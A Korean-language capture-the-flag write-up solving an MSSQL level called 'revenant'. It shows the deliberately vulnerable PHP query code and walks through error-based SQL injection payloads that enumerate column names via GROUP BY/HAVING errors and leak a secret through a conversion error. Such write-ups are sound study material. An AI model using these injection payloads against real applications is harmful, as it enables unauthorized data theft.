또 간만에 정리하는 Write-up이다. 이번에도 MSSQL 문제이다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
-----------------------------------------------------------------
query : select * from prob_revenant where id='' and pw=''
-----------------------------------------------------------------

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select * from prob_revenant where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
  highlight_file(__FILE__);
?>

언뜻 보면 이 전 문제와 동일하게 생겼다. 그런데 이 번 문제의 핵심은 바로 5 번째 열(column)을 뽑아야 한다는 것이다. 그렇다면 먼저 5번째 컬럼 명을 알아낸 후, 이 전 문제와 같은 방법으로 오류를 유도하면 5 번째 열의 값을 알아낼 수 있을 것 같다. 테이블 내의 컬럼 명을 알기 위해서는 group byhaving을 사용했다. 이 전 문제에서 아래와 같이 입력하면 테이블 명.컬럼 명이 나타나는 오류를 확인할 수 있었다.

1
?id=a' having 1=1 --

1
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

위의 오류 중 prob_revenant.id에서 prob_revenant는 문제의 테이블 명이고 id컬럼 명이다. 이를 활용하여 두 번째 컬럼 명을 구해야 하는데 이 때는 group by를 사용하면 된다.

1
?id=a' group by id having 1=1 -- 

위의 값을 입력하면 완성되는 쿼리는 다음과 같다.

1
select * from prob_revenant where id='a' group by id having 1=1 --' and pw=''

따라서 id='a' group by id having 1=1 까지가 where절에 사용되고 뒤의 부분은 주석처리 된다. 그 결과 having 절에서 오류가 나며 id 다음 열을 알아낼 수 있다.

1
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.pw' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

오류 안에서 두 번째 컬럼 명이 pw라는 것을 알 수 있었다. 다음 세 번째 컬럼 명을 알기 위해서는 group by 뒤에 두 번째 컬럼 명을 추가 해 주면 된다.

1
?id=a' group by id,pw having 1=1 -- 

1
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.45a88487' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

세 번째 컬럼 명은 45a88487라는 것을 알 수 있다. 같은 방법으로 네 번째, 다섯 번째 컬럼 명을 알아낼 수 있다. 그런데 세 번째 컬럼 명은 시작 부분이 숫자라서 그냥 입력하면 오류가 난다. 그래서 "로 묶어주었다.

1
?id=a' group by id,pw,"45a88487" having 1=1 -- 

1
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.13477a35' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

1
?id=a' group by id,pw,"45a88487","13477a35" having 1=1 -- 

1
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Column 'prob_revenant.9604b0c8' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

이렇게 다섯 번째 컬럼 명이 9604b0c8라는 것을 알 수 있었다. 이제 다섯 번째 컬렴 명에서 이 전 문제와 같이 오류를 발생시켜 값을 추출하면 문제를 풀 수 있을 것이다. 이를 위해 아래와 같이 공격 구문을 구성했다.

1
?id=admin' and "9604b0c8"=1 -- 

그 결과 아래와 같은 오류를 얻을 수 있었다.

1
Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'aa68a4b3fb327dee07f868450f7e1183' to data type int.

즉, id='admin'일 때 다섯 번째 컬럼의 값은 aa68a4b3fb327dee07f868450f7e1183라는 것을 알 수 있었다.

이제 이를 pw의 값으로 입력 해 주면 문제를 풀 수 있다.

1
?id=admin&pw=aa68a4b3fb327dee07f868450f7e1183

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
---------------------------------------------------------------------------------------------------------------------------
query : select * from prob_revenant where id='admin' and pw='aa68a4b3fb327dee07f868450f7e1183'
---------------------------------------------------------------------------------------------------------------------------

REVENANT Clear!

<?php
  include "./config.php";
  login_chk();
  $db = mssql_connect();
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
  if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  sqlsrv_query($db,$query);
  if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));

  $query = "select * from prob_revenant where id='admin'"; 
  $result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
  if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
  highlight_file(__FILE__);
?>

1
REVENANT Clear!!